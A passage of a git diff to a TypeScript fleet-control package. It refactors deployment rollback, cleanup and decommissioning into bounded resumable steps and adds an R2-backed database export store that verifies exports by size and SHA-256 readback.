+      const legacy = await rollbackProvisioning(
+        lease,
+        backend,
+        spec,
+        database,
+        databaseReservationOwned && workerCreated,
+        workerResourceState,
+        databaseReservationOwned &&
+          database !== undefined &&
+          databaseOwnershipProven,
+        databaseReservationOwned ? record?.platformResources : undefined,
+        databaseReservationOwned ? record : undefined,
+      );
+      record = legacy.record ?? record;
+      cleanupErrors = legacy.errors;
+      if (
+        databaseReservationOwned &&
+        // The delete removes the row THIS attempt reserved. A retired terminal
+        // prior normalizes to an absent prior while its row is still stored,
+        // so a refusal before the first put owns no row to delete and leaves
+        // the terminal record for `forceDecommissionDeployment()` and the
+        // receipts contract to read.
+        record !== undefined &&
+        cleanupErrors.length === 0 &&
+        (!database || databaseOwnershipProven)
+      ) {
+        await lease.delete();
+      } else if (record) {
+        await lease.put(record);
+      }
     }
     throw new ProvisioningError(
       `failed to provision '${spec.tenantTag}:${spec.environment}'${
@@ -1398,254 +1696,160 @@ async function provisionDeploymentUnderLease(
       }`,
       cause,
       cleanupErrors,
+      boundedOutcome,
     );
   }
 }
 
-export interface CleanupDeploymentArtifactsOptions {
+async function rollbackThroughBoundedCleanup(input: {
+  readonly lease: FleetStateLease;
   readonly backend: ProvisioningBackend;
   readonly store: FleetStateStore;
   readonly spec: DeploymentSpec;
-}
-
-export async function reconcilePersistedDatabase(
-  backend: ProvisioningBackend,
-  record: Pick<FleetRecord, 'databaseId' | 'databaseName' | 'tenantTag'>,
-  allowAbsent: boolean,
-  fence: import('./types.js').ExternalMutationFence,
-  requireOwner = true,
-): Promise<(DatabaseReference & { readonly created: false }) | undefined> {
-  const database = await backend.getDatabase(record.databaseId);
-  if (!database) {
-    if (allowAbsent) return undefined;
-    throw new Error(`persisted database '${record.databaseId}' is absent`);
-  }
-  if (
-    database.id !== record.databaseId ||
-    database.name !== record.databaseName
-  ) {
-    throw new Error(
-      `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}'`,
+  readonly record: FleetRecord;
+  readonly mode: 'drain' | 'bounded';
+  readonly authority: Readonly<{
+    kind: 'provisioning-rollback';
+    reservationOwned: boolean;
+    databaseOwned: boolean;
+    workerCreatedByAttempt: boolean;
+    workerResourceState: 'absent' | 'present' | 'unknown';
+    requestedSpecDigest: string;
+  }>;
+  readonly clock?: () => number;
+}): Promise<
+  Readonly<{ errors: readonly unknown[]; cleanup?: CleanupAdvanceResult }>
+> {
+  const { lease, backend, store, spec } = input;
+  const errors: unknown[] = [];
+  let cleanup: CleanupAdvanceResult | undefined;
+  try {
+    const admitted = await startProvisioningRollbackCleanup(
+      lease,
+      input.record,
+      input.authority,
+      {
+        backend,
+        spec,
+        randomUUID,
+        ...(input.clock ? { clock: input.clock } : {}),
+      },
     );
-  }
-  if (requireOwner) {
-    const owner = await backend.readDeploymentIdentity(database, fence);
-    if (owner !== record.tenantTag) {
-      throw new Error(
-        `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`,
+    const intent = admitted.cleanupIntent;
+    if (!intent) {
+      throw new Error('bounded rollback did not persist its cleanup intent');
+    }
+    let token: CleanupAdvanceToken = {
+      version: 1,
+      tenantTag: spec.tenantTag,
+      environment: spec.environment,
+      operationId: intent.operationId,
+      revision: intent.revision,
+    };
+    let action: CleanupAdvanceAction = { kind: 'continue', token };
+    let restarted = false;
+    while (true) {
+      const engineOptions: AdvanceCleanupDeploymentOptions = {
+        backend,
+        store,
+        spec,
+        action,
+        maxProviderRequests: 1_000,
+        randomUUID,
+        ...(input.clock ? { clock: input.clock } : {}),
+      };
+      const result = await advanceCleanupUnderLease(
+        engineOptions,
+        action,
+        token,
+        lease,
       );
+      cleanup = result;
+      if (result.status === 'complete') break;
+      if (result.status === 'blocked') {
+        if (restarted) {
+          errors.push(
+            new Error('bounded cleanup remains blocked by a Worker attachment'),
+          );
+          break;
+        }
+        restarted = true;
+        token = result.token;
+        action = { kind: 'restart-blocked', token };
+      } else {
+        token = result.token;
+        action = { kind: 'continue', token };
+      }
+      if (input.mode === 'bounded') break;
     }
+  } catch (error) {
+    errors.push(error);
   }
-  return { id: database.id, name: database.name, created: false };
+  return { errors, ...(cleanup ? { cleanup } : {}) };
 }
 
-export function cleanupDeploymentArtifacts(
-  options: CleanupDeploymentArtifactsOptions,
-): Promise<void> {
-  return options.store.withDeploymentLease(
-    options.spec.tenantTag,
-    options.spec.environment,
-    (lease) => cleanupDeploymentArtifactsUnderLease(options, lease),
-  );
+export interface CleanupDeploymentArtifactsOptions {
+  readonly backend: ProvisioningBackend;
+  readonly store: FleetStateStore;
+  readonly spec: DeploymentSpec;
 }
 
-async function cleanupDeploymentArtifactsUnderLease(
+/**
+ * Drains one deployment's bounded no-export cleanup to its terminal receipt.
+ *
+ * Holds no outer lease: each bounded advance acquires its own deployment
+ * lease. An absent row is a no-op; an active cleanup intent of either
+ * authority resumes; admission refusals propagate unchanged; a bounded group
+ * failure surfaces as the historical `AggregateError` and leaves the durable
+ * intent for retry.
+ */
+export async function cleanupDeploymentArtifacts(
   options: CleanupDeploymentArtifactsOptions,
-  lease: FleetStateLease,
 ): Promise<void> {
   const { backend, store, spec } = options;
   validateDeploymentSpec(spec);
-  let record = await store.get(spec.tenantTag, spec.environment);
-  if (record) assertBackendSwitchInactive(record);
+  const record = await store.get(spec.tenantTag, spec.environment);
   if (!record) return;
-  assertImmutableDeploymentMapping(record, backend, spec);
-  if (record.phase === 'database-reserved') {
-    const reservedDatabase = await backend.findDatabase(spec);
-    if (reservedDatabase) {
-      throw new Error(
-        `refusing to clear an unauthorized database reservation while '${reservedDatabase.id}:${reservedDatabase.name}' exists`,
-      );
-    }
-    await lease.delete();
-    return;
-  }
-  if (record.phase === 'database-create-authorized') {
-    const reservedDatabase = await backend.findDatabase(spec);
-    if (!reservedDatabase) {
-      await lease.delete();
-      return;
-    }
-    if (reservedDatabase.name !== record.databaseName) {
-      throw new Error(
-        `authorized database '${record.databaseName}' resolved with unexpected identity '${reservedDatabase.id}:${reservedDatabase.name}'`,
-      );
-    }
-    const owner = await backend.readDeploymentIdentity(reservedDatabase, lease);
-    if (owner !== undefined) {
-      throw new Error(
-        `refusing reserved database cleanup for '${reservedDatabase.id}' owned by '${owner}'`,
-      );
-    }
-    await lease.assertOwned();
-    // A freshness PROOF, not a provisioning: this database is stamped only so
-    // the read-back below can show it was empty, and it is deleted three lines
-    // later. The fence state is therefore hard-coded rather than taken from the
-    // caller — cleanup has no provisioning options to take it from — and it is
-    // 'migration-locked' because a database that survives a failed delete must
-    // never come back as one that executes.
-    await backend.seedDeploymentIdentity(
-      reservedDatabase,
-      record.tenantTag,
-      lease,
-      { initialExecutionFenceState: 'migration-locked' },
-    );
-    const seededOwner = await backend.readDeploymentIdentity(
-      reservedDatabase,
-      lease,
-    );
-    if (seededOwner !== record.tenantTag) {
-      throw new Error(
-        `reserved database '${reservedDatabase.id}' could not be proven fresh before cleanup`,
-      );
-    }
-    await lease.assertOwned();
-    await backend.deleteDatabase(reservedDatabase, lease);
-    const remainingDatabase = await backend.findDatabase(spec);
-    if (remainingDatabase) {
-      throw new Error(
-        `reserved database '${remainingDatabase.id}' is still present after deletion`,
-      );
-    }
-    await lease.delete();
-    return;
-  }
-  if (
-    record.phase !== 'database-created' &&
-    record.phase !== 'identity-seeded' &&
-    record.phase !== 'migrated' &&
-    record.phase !== 'application-resources-create-authorized' &&
-    record.phase !== 'application-resources-deployed' &&
-    record.phase !== 'platform-resources-deployed' &&
-    record.phase !== 'worker-deployed' &&
-    record.phase !== 'maintenance-armed'
-  ) {
-    throw new Error(
-      `deployment in phase '${record.phase}' requires export-backed decommissioning`,
-    );
-  }
-  const database: DatabaseReference = {
-    id: record.databaseId,
-    name: record.databaseName,
-    created: false,
-  };
-  const liveDatabase = await reconcilePersistedDatabase(
-    backend,
-    record,
-    true,
-    lease,
-    record.phase !== 'database-created',
-  );
-  const errors: unknown[] = [];
-  const cleanupRecord = record;
-  try {
-    await lease.assertOwned();
-    await backend.removeTraffic(
-      spec,
-      retainedExternalReleases(cleanupRecord),
-      activeExternalRelease(cleanupRecord),
-      database,
-      lease,
-    );
-    await backend.assertTrafficRemoved(spec);
-    await assertApplicationR2EmptyBeforeDecommission({
-      resources: cleanupRecord.applicationResources ?? [],
-      backend,
-      fence: lease,
-    });
-    await lease.assertOwned();
-    await backend.revokeCredentials(
-      spec,
-      retainedExternalReleases(cleanupRecord),
-      activeExternalRelease(cleanupRecord),
-      database,
-      lease,
-    );
-    await lease.assertOwned();
-    await backend.deleteWorker(
-      spec,
-      retainedExternalReleases(cleanupRecord),
-      database,
-      activeExternalRelease(cleanupRecord),
-      lease,
-    );
-  } catch (error) {
-    errors.push(error);
-  }
-  if (
-    errors.length === 0 &&
-    (record.platformResources || record.platformTarget)
-  ) {
-    if (
-      !backend.revokePlatformResourceCredentials ||
-      !backend.deletePlatformResources
-    ) {
-      errors.push(
-        new Error('backend cannot clean persisted trusted platform resources'),
-      );
-    }
+  // Reservation-phase cleanups historically threw their provider refusals
+  // directly; teardown-phase group failures aggregated. Preserve both shapes.
+  const admittedPhase =
+    record.cleanupIntent?.identity.admittedPhase ?? record.phase;
+  const reservation =
+    admittedPhase === 'database-reserved' ||
+    admittedPhase === 'database-create-authorized';
+  let action: CleanupAdvanceAction = { kind: 'start' };
+  let restarted = false;
+  while (true) {
+    let result: CleanupAdvanceResult;
     try {
-      if (
-        backend.revokePlatformResourceCredentials &&
-        backend.deletePlatformResources
-      ) {
-        await lease.assertOwned();
-        await backend.revokePlatformResourceCredentials(
-          spec,
-          record,
-          database,
-          lease,
-        );
-        await lease.assertOwned();
-        await backend.deletePlatformResources(spec, record, database, lease);
-      }
-    } catch (error) {
-      errors.push(error);
-    }
-  }
-  if (errors.length === 0) {
-    try {
-      await convergeApplicationR2Deletion({
-        resources: record.applicationResources ?? [],
+      result = await advanceCleanupDeployment({
         backend,
-        fence: lease,
-        persist: async (applicationResources) => {
-          record = {
-            ...(record as FleetRecord),
-            applicationResources,
-            updatedAt: new Date().toISOString(),
-          };
-          await lease.put(record);
-        },
+        store,
+        spec,
+        action,
+        maxProviderRequests: 1_000,
+        randomUUID,
       });
     } catch (error) {
-      errors.push(error);
+      if (action.kind === 'start' || reservation) throw error;
+      throw new AggregateError(
+        [error],
+        `failed to clean 1 deployment artifact(s) for '${spec.scriptName}'`,
+      );
     }
-  }
-  if (errors.length === 0 && liveDatabase) {
-    try {
-      await backend.assertDatabaseDetached(spec, record, liveDatabase, lease);
-      await backend.deleteDatabase(liveDatabase, lease);
-    } catch (error) {
-      errors.push(error);
+    if (result.status === 'complete') return;
+    if (result.status === 'blocked') {
+      if (restarted) {
+        throw new Error(
+          'bounded cleanup remains blocked by a Worker attachment',
+        );
+      }
+      restarted = true;
+      action = { kind: 'restart-blocked', token: result.token };
+      continue;
     }
+    action = { kind: 'continue', token: result.token };
   }
-  if (errors.length > 0) {
-    throw new AggregateError(
-      errors,
-      `failed to clean ${errors.length} deployment artifact(s) for '${spec.scriptName}'`,
-    );
-  }
-  await lease.delete();
 }
 
 export interface DecommissionDeploymentOptions {
@@ -1664,14 +1868,34 @@ export interface DecommissionDeploymentOptions {
 export async function decommissionDeployment(
   options: DecommissionDeploymentOptions,
 ): Promise<DecommissionResult> {
-  const current = await options.store.get(
+  const loaded = await options.store.get(
     options.spec.tenantTag,
     options.spec.environment,
   );
-  if (
-    current?.backendSwitchIntent &&
-    current.backendSwitchIntent.subphase !== 'decommissioned'
-  ) {
+  const reconstructed =
+    loaded === undefined
+      ? undefined
+      : structuralBackendSwitchFleetRecordFromUnknown(loaded);
+  let current = reconstructed?.record;
+  if (reconstructed?.carriesBackendSwitchAuthority) {
+    current = backendSwitchFleetRecordFromUnknown(current).record;
+    const currentSwitch = current.backendSwitchIntent;
+    if (!currentSwitch) {
+      throw new Error('backend switch decommission record is malformed');
+    }
+    if (currentSwitch.subphase === 'decommissioned') {
+      if (!currentSwitch.databaseExport) {
+        throw new Error(
+          'backend switch decommission did not commit its export',
+        );
+      }
+      const result = {
+        record: current,
+        databaseExport: currentSwitch.databaseExport,
+      };
+      await emitDecommissionAudit(options.audit, result.record, false);
+      return result;
+    }
     if (!options.backendSwitch) {
       throw new Error(
         'active backend switch decommission requires its dedicated provider and both specifications',
@@ -1682,27 +1906,86 @@ export async function decommissionDeployment(
       provider: options.backendSwitch.provider,
       priorSpec: options.backendSwitch.priorSpec,
       targetSpec: options.backendSwitch.targetSpec,
+      currentSpec: options.spec,
     });
-    const record = await options.store.get(
+    const stored = await options.store.get(
       options.spec.tenantTag,
       options.spec.environment,
     );
-    if (!record || !intent.databaseExport) {
+    const record = backendSwitchFleetRecordFromUnknown(stored).record;
+    if (!intent.databaseExport) {
       throw new Error('backend switch decommission did not commit its export');
     }
     const result = { record, databaseExport: intent.databaseExport };
     await emitDecommissionAudit(options.audit, result.record, false);
     return result;
   }
-  const result = await options.store.withDeploymentLease(
-    options.spec.tenantTag,
-    options.spec.environment,
-    (lease) => decommissionDeploymentUnderLease(options, lease),
-  );
+  let hasNormalIntent = false;
+  if (current?.decommissionIntent !== undefined) {
+    current = canonicalNormalDecommissionRecord(current);
+    hasNormalIntent = true;
+  }
+  // After the canonicalizers: a hostile decommission-shell record carrying
+  // cleanup material keeps its malformed-record refusal; a clean record with
+  // an active cleanup refuses here, before any lease or backend dispatch.
+  if (current) {
+    assertNoActiveCleanup(current, 'decommissionDeployment');
+  }
+  const shellLessLatePhase =
+    current !== undefined &&
+    current.decommissionIntent === undefined &&
+    (current.phase === 'database-exported' ||
+      current.phase === 'database-deleting' ||
+      current.phase === 'decommissioned');
+  let useBounded = hasNormalIntent;
+  if (current && !hasNormalIntent && !shellLessLatePhase) {
+    useBounded =
+      Reflect.has(options.backend, 'advanceDecommissionAttachmentScan') &&
+      (Reflect.has(options.backend, 'databaseExportReceiptAuthority') ||
+        Reflect.has(options.backend, 'exportDatabaseReceipt'));
+  }
+  const result = useBounded
+    ? await drainBoundedDecommission(options)
+    : await options.store.withDeploymentLease(
+        options.spec.tenantTag,
+        options.spec.environment,
+        (lease) => decommissionDeploymentUnderLease(options, lease),
+      );
   await emitDecommissionAudit(options.audit, result.record, false);
   return result;
 }
 
+async function drainBoundedDecommission(
+  options: DecommissionDeploymentOptions,
+): Promise<DecommissionResult> {
+  let action: DecommissionAdvanceAction = { kind: 'start' };
+  let firstResult = true;
+  while (true) {
+    const result = await advanceDecommissionDeployment({
+      backend: options.backend,
+      store: options.store,
+      spec: options.spec,
+      action,
+      maxProviderRequests: 1_000,
+      ...(options.clock ? { clock: options.clock } : {}),
+      randomUUID,
+    });
+    if (result.status === 'complete') return result.result;
+    if (result.status === 'blocked') {
+      if (firstResult) {
+        firstResult = false;
+        action = { kind: 'restart-blocked', token: result.token };
+        continue;
+      }
+      throw new Error(
+        'bounded decommission remains blocked by a Worker attachment',
+      );
+    }
+    firstResult = false;
+    action = { kind: 'continue', token: result.token };
+  }
+}
+
 function emitDecommissionAudit(
   audit: DecommissionAuditSink | undefined,
   record: FleetRecord,
@@ -1732,6 +2015,17 @@ export interface ForceDecommissionDeploymentOptions {
   }>;
 }
 
+async function deleteForceRecord(lease: FleetStateLease): Promise<void> {
+  if (
+    Reflect.has(lease, 'deleteReleasingClaims') &&
+    typeof lease.deleteReleasingClaims === 'function'
+  ) {
+    await lease.deleteReleasingClaims();
+  } else {
+    await lease.delete();
+  }
+}
+
 export async function forceDecommissionDeployment(
   input: ForceDecommissionDeploymentOptions,
 ): Promise<void> {
@@ -1741,18 +2035,22 @@ export async function forceDecommissionDeployment(
     async (lease) => {
       const current = await input.store.get(input.tenantTag, input.environment);
       if (!current) return;
+      assertNoActiveDecommission(current, 'forceDecommissionDeployment');
+      // Blocked-cleanup plus refused-force is intentional: restart-blocked
+      // after remediation is the only resolution path for a blocked cleanup.
+      assertNoActiveCleanup(current, 'forceDecommissionDeployment');
       if (current.backend !== input.backend.kind) {
         throw new Error(
           'force-decommission backend does not own this deployment',
         );
       }
       if (current.phase === 'decommissioned') {
-        await lease.delete();
+        await deleteForceRecord(lease);
         return;
       }
       if (current.phase === 'database-reserved') {
         await emitDecommissionAudit(input.options?.audit, current, true);
-        await lease.delete();
+        await deleteForceRecord(lease);
         return;
       }
       if (current.phase === 'database-create-authorized') {
@@ -1782,8 +2080,13 @@ export async function forceDecommissionDeployment(
         record.phase !== 'database-exported' &&
         record.phase !== 'database-deleting'
       ) {
+        const {
+          pendingSpecDigest: _pendingSpecDigest,
+          pendingArtifactVersion: _pendingArtifactVersion,
+          ...forceRecord
+        } = record;
         record = {
-          ...record,
+          ...forceRecord,
           phase: 'decommissioning',
           updatedAt: nowIso(clock),
         };
@@ -1836,7 +2139,7 @@ export async function forceDecommissionDeployment(
       };
       await lease.put(record);
       await emitDecommissionAudit(input.options?.audit, record, true);
-      await lease.delete();
+      await deleteForceRecord(lease);
     },
   );
 }
@@ -1850,6 +2153,8 @@ async function decommissionDeploymentUnderLease(
   validateDeploymentSpec(spec);
   const current = await store.get(spec.tenantTag, spec.environment);
   if (!current) throw new Error('deployment is not registered');
+  assertNoActiveDecommission(current, 'decommissionDeployment');
+  assertNoActiveCleanup(current, 'decommissionDeployment');
   assertBackendSwitchInactive(current);
   if (current.backend !== backend.kind) {
     throw new Error('decommission backend does not own this deployment');
@@ -1902,7 +2207,13 @@ async function decommissionDeploymentUnderLease(
       backend,
       fence: lease,
     });
-    record = { ...record, phase: 'decommissioning', updatedAt: nowIso(clock) };
+    record = {
+      ...(record.migrationIntent
+        ? { ...record, desiredSpecDigest: deploymentSpecDigest(spec) }
+        : consumeMigrationCarrier(record, spec, deploymentSpecDigest(spec))),
+      phase: 'decommissioning',
+      updatedAt: nowIso(clock),
+    };
     await lease.put(record);
   }
   if (record.phase === 'decommissioning') {
@@ -1990,8 +2301,14 @@ async function decommissionDeploymentUnderLease(
       await backend.deletePlatformResources(spec, record, database, lease);
       await backend.assertDatabaseDetached(spec, record, database, lease);
     }
+    const {
+      migrationIntent: _migrationIntent,
+      pendingSpecDigest: _pendingSpecDigest,
+      pendingArtifactVersion: _pendingArtifactVersion,
+      ...withoutMigrationCarrier
+    } = record;
     record = {
-      ...record,
+      ...withoutMigrationCarrier,
       phase: 'platform-resources-deleted',
       updatedAt: nowIso(clock),
     };
@@ -2007,6 +2324,7 @@ async function decommissionDeploymentUnderLease(
   }
   if (record.phase === 'application-resources-deleting') {
     const applicationResources = await convergeApplicationR2Deletion({
+      spec,
       resources: record.applicationResources ?? [],
       backend,
       fence: lease,
@@ -2027,6 +2345,14 @@ async function decommissionDeploymentUnderLease(
     };
     await lease.put(record);
   }
+  if (
+    record.phase === 'application-resources-deleted' ||
+    record.phase === 'database-exported' ||
+    record.phase === 'database-deleting' ||
+    record.phase === 'decommissioned'
+  ) {
+    assertNormalDecommissionD1ResourcesDeleted(record);
+  }
   if (record.phase === 'application-resources-deleted') {
     await backend.assertDatabaseDetached(spec, record, database, lease);
     const exported = await backend.exportDatabase(database, lease);
diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts
new file mode 100644
index 00000000..fa500da4
--- /dev/null
+++ b/packages/fleet-control/src/r2-export-store.ts
@@ -0,0 +1,873 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  R2Bucket,
+  R2Object,
+  R2ObjectBody,
+  ReadableStream as WorkerReadableStream,
+  WritableStream as WorkerWritableStream,
+} from '@cloudflare/workers-types';
+import {
+  cancelBodyWithoutAwait,
+  captureDatabaseExportIntegrityPromise,
+  type DurableDatabaseExportStore,
+  databaseExportReceiptAuthorityFromUnknown,
+  databaseExportReceiptError,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
+import { assertFileName, isPortablePathSegment } from './export-file-name.js';
+import type {
+  DatabaseExportIntegrity,
+  DatabaseExportReceiptIdentity,
+} from './types.js';
+
+const TEXT_ENCODER_ENCODE = TextEncoder.prototype.encode;
+const textEncoder = new TextEncoder();
+const RECEIPT_METADATA_KEYS = [
+  'anchorageReceiptVersion',
+  'anchorageReceiptAuthority',
+  'anchorageDatabaseId',
+  'anchorageOperationId',
+] as const;
+
+export type DigestStreamConstructor = new (
+  algorithm: 'SHA-256',
+) => WorkerWritableStream<ArrayBuffer | ArrayBufferView> & {
+  readonly digest: Promise<ArrayBuffer>;
+  readonly bytesWritten: number | bigint;
+};
+
+export type FixedLengthStreamConstructor = new (
+  expectedLength: number,
+) => {
+  readonly readable: WorkerReadableStream<Uint8Array>;
+  readonly writable: WorkerWritableStream<Uint8Array>;
+};
+
+export interface R2DatabaseExportStoreStreamPrimitives {
+  readonly DigestStream: DigestStreamConstructor;
+  /**
+   * Must return a conforming Workers paired stream. If an injected writable
+   * fails to error its paired readable when abort is requested, the associated
+   * R2 put may not settle.
+   */
+  readonly FixedLengthStream: FixedLengthStreamConstructor;
+}
+
+export interface R2DatabaseExportStoreOptions {
+  readonly bucket: R2Bucket;
+  /** A portable segment used to identify the bucket in returned locations. */
+  readonly bucketName: string;
+  /** Empty, or portable segments ending in `/`, such as `exports/`. */
+  readonly keyPrefix?: string;
+  /**
+   * Worker stream constructors; a Worker passes
+   * `{ DigestStream: crypto.DigestStream, FixedLengthStream }`.
+   */
+  readonly streams: R2DatabaseExportStoreStreamPrimitives;
+  /** UUID source; a Worker passes `() => crypto.randomUUID()`. */
+  readonly randomUUID: () => string;
+}
+
+interface PreparedUpload {
+  readonly key: string;
+  readonly contentLength: number;
+  readonly fixed: {
+    readonly readable: WorkerReadableStream<Uint8Array>;
+    readonly writable: WorkerWritableStream<Uint8Array>;
+  };
+}
+
+interface ReceiptMetadata extends Record<string, string> {
+  readonly anchorageReceiptVersion: '1';
+  readonly anchorageReceiptAuthority: string;
+  readonly anchorageDatabaseId: string;
+  readonly anchorageOperationId: string;
+}
+
+interface PreparedReceiptUpload {
+  readonly identity: DatabaseExportReceiptIdentity;
+  readonly key: string;
+  readonly location: string;
+  readonly contentLength: number;
+  readonly metadata: ReceiptMetadata;
+}
+
+type ReceiptLookup =
+  | { readonly status: 'absent' }
+  | { readonly status: 'present'; readonly object: R2ObjectBody };
+
+/**
+ * Streams a database export into R2 and hashes an R2 readback.
+ *
+ * A signed direct download supplies `contentLength` when its response exposes a
+ * usable `Content-Length`. Absence fails closed prior to an R2 upload and keeps
+ * the database from being deleted. The Wrangler path supplies the scratch
+ * file's size. R2 receives a single-part put backed by `FixedLengthStream`;
+ * multipart exports are unsupported.
+ *
+ * A legacy `write()` attempt mints a UUID key. Cleanup after a committed-object failure
+ * removes that key. A cleanup failure, rejected put, or conditional collision
+ * can leave an orphan below the database prefix without blocking a retry.
+ * `write()` is not idempotent.
+ *
+ * `writeReceipt()` instead derives one immutable operation key, publishes with
+ * a conditional put, and converges only after exact metadata and byte
+ * integrity readback. It never deletes that stable key on any receipt path.
+ *
+ * A failure after the put settles aborts the body pipe. When the body is a
+ * `tee()` branch, that abort can stay pending: it settles when the tee
+ * source is exhausted or errors, or the other branch is cancelled.
+ */
+export class R2DatabaseExportStore implements DurableDatabaseExportStore {
+  readonly #bucket: R2Bucket;
+  readonly #bucketName: string;
+  readonly #keyPrefix: string;
+  readonly #DigestStream: DigestStreamConstructor;
+  readonly #FixedLengthStream: FixedLengthStreamConstructor;
+  readonly #randomUUID: () => string;
+  declare readonly receiptAuthority: string;
+  declare readonly writeReceipt: NonNullable<
+    DurableDatabaseExportStore['writeReceipt']
+  >;
+
+  constructor(options: R2DatabaseExportStoreOptions) {
+    const bucket = options.bucket;
+    const streams = options.streams;
+    const randomUUID = options.randomUUID;
+    const bucketName = options.bucketName;
+    const keyPrefix = options.keyPrefix;
+    if (
+      typeof bucket?.put !== 'function' ||
+      typeof bucket.get !== 'function' ||
+      typeof bucket.delete !== 'function'
+    ) {
+      throw new Error(
+        'R2DatabaseExportStore requires the Workers R2Bucket put/get/delete interface',
+      );
+    }
+    if (
+      typeof streams?.DigestStream !== 'function' ||
+      typeof streams.FixedLengthStream !== 'function'
+    ) {
+      throw new Error(
+        'R2DatabaseExportStore requires the Workers DigestStream and FixedLengthStream constructors',
+      );
+    }
+    if (typeof randomUUID !== 'function') {
+      throw new Error('R2DatabaseExportStore requires a randomUUID function');
+    }
+    if (!isPortablePathSegment(bucketName)) {
+      throw new Error('R2 export bucketName must be one portable path segment');
+    }
+    if (!isKeyPrefix(keyPrefix)) {
+      throw new Error(
+        'R2 export keyPrefix must be portable path segments each followed by /',
+      );
+    }
+    this.#bucket = bucket;
+    this.#bucketName = bucketName;
+    this.#keyPrefix = keyPrefix ?? '';
+    this.#DigestStream = streams.DigestStream;
+    this.#FixedLengthStream = streams.FixedLengthStream;
+    this.#randomUUID = randomUUID;
+    const receiptAuthority = databaseExportReceiptAuthorityFromUnknown(
+      `r2://${this.#bucketName}/${this.#keyPrefix}receipts/v1`,
+    );
+    Object.defineProperties(this, {
+      receiptAuthority: {
+        configurable: false,
+        enumerable: true,
+        value: receiptAuthority,
+        writable: false,
+      },
+      writeReceipt: {
+        configurable: false,
+        enumerable: true,
+        value: (input: unknown) => this.#writeReceipt(input, receiptAuthority),
+        writable: false,
+      },
+    });
+  }
+
+  async write(input: {
+    readonly databaseId: string;
+    readonly fileName: string;
+    readonly body: ReadableStream<Uint8Array>;
+    readonly contentLength?: number;
+  }): Promise<{
+    readonly location: string;
+    readonly size: number;
+    readonly sha256: string;
+  }> {
+    const prepared = await Promise.resolve()
+      .then(() => this.#prepare(input))
+      .catch((error: unknown) => {
+        // A tee branch's cancel settles when the tee source is exhausted
+        // or errors, or the other branch is cancelled, so the refusal does
+        // not await it.
+        try {
+          void input.body.cancel(error).catch(() => undefined);
+        } catch {}
+        throw error;
+      });
+    const controller = new AbortController();
+    const collision = new Error('R2 export key already exists');
+    // The wrapper prevents promise assimilation: the provider call starts
+    // before the pipe without waiting for the provider promise to settle.
+    const putStartState = await settled(() => ({
+      operation: this.#bucket.put(prepared.key, prepared.fixed.readable, {
+        onlyIf: { etagDoesNotMatch: '*' },
+      }),
+    }));
+    if (putStartState.status === 'rejected') {
+      try {
+        void input.body.cancel(putStartState.reason).catch(() => undefined);
+      } catch {}
+      throw new Error('R2 export upload failed', {
+        cause: putStartState.reason,
+      });
+    }
+    const put = putStartState.value.operation;
+    const pipe = funnel(() =>
+      input.body.pipeTo(prepared.fixed.writable, {
+        signal: controller.signal,
+      }),
+    );
+    // `pipeTo` can reject before locking its destination, and the body can be
+    // locked between the check and this call; erroring the fixed writable
+    // settles the put.
+    void pipe.catch((reason: unknown) => {
+      void settled(() => prepared.fixed.writable.abort(reason));
+    });
+    void put.then(
+      (object) => {
+        if (object === null) controller.abort(collision);
+      },
+      (reason: unknown) => controller.abort(reason),
+    );
+    const [putState, pipeState] = await Promise.allSettled([put, pipe]);
+
+    if (putState.status === 'rejected') {
+      throw new Error('R2 export upload failed', { cause: putState.reason });
+    }
+    const uploaded = putState.value;
+    if (uploaded === null) throw collision;
+    if (pipeState.status === 'rejected') {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export body did not stream completely', {
+          cause: pipeState.reason,
+        }),
+      );
+    }
+    const uploadedSize = await this.#ownedValue(
+      prepared.key,
+      'R2 export upload failed',
+      () => uploaded.size,
+    );
+    if (uploadedSize !== prepared.contentLength) {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export size differs from contentLength'),
+      );
+    }
+
+    const storedState = await settled(() => this.#bucket.get(prepared.key));
+    if (storedState.status === 'rejected') {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback failed', { cause: storedState.reason }),
+      );
+    }
+    const stored = storedState.value;
+    if (stored === null) {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback found no object'),
+      );
+    }
+    const storedSize = await this.#ownedValue(
+      prepared.key,
+      'R2 export readback failed',
+      () => stored.size,
+    );
+    if (storedSize !== prepared.contentLength) {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback size differs from contentLength'),
+      );
+    }
+
+    const digestConstructorState = await settled(
+      () => new this.#DigestStream('SHA-256'),
+    );
+    if (digestConstructorState.status === 'rejected') {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback failed', {
+          cause: digestConstructorState.reason,
+        }),
+      );
+    }
+    const digest = digestConstructorState.value;
+    const readback: WorkerReadableStream<Uint8Array> = await this.#ownedValue(
+      prepared.key,
+      'R2 export readback failed',
+      () => stored.body,
+    );
+    // Capture without assimilating: the pipe must start before this promise is
+    // awaited. Observe rejection now, but await settlement only after the pipe.
+    const capturedDigest = await this.#ownedValue(
+      prepared.key,
+      'R2 export readback failed',
+      () => {
+        const promise = digest.digest;
+        void promise.catch(() => undefined);
+        return { promise };
+      },
+    );
+    const digestSettlement = settled(() => capturedDigest.promise);
+    const readState = await settled(() => readback.pipeTo(digest));
+    if (readState.status === 'rejected') {
+      void settled(() => digest.abort(readState.reason));
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback failed', { cause: readState.reason }),
+      );
+    }
+    const digestState = await digestSettlement;
+    if (digestState.status === 'rejected') {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback failed', { cause: digestState.reason }),
+      );
+    }
+    // Commit size, read metadata, and streamed byte count identify distinct
+    // disagreement points without buffering the export.
+    const bytesWritten = await this.#ownedValue(
+      prepared.key,
+      'R2 export readback failed',
+      () => Number(digest.bytesWritten),
+    );
+    if (bytesWritten !== prepared.contentLength) {
+      return this.#failOwned(
+        prepared.key,
+        new Error('R2 export readback length differs from contentLength'),
+      );
+    }
+    const sha256 = await this.#ownedValue(
+      prepared.key,
+      'R2 export readback failed',
+      () => toHex(digestState.value),
+    );
+
+    return {
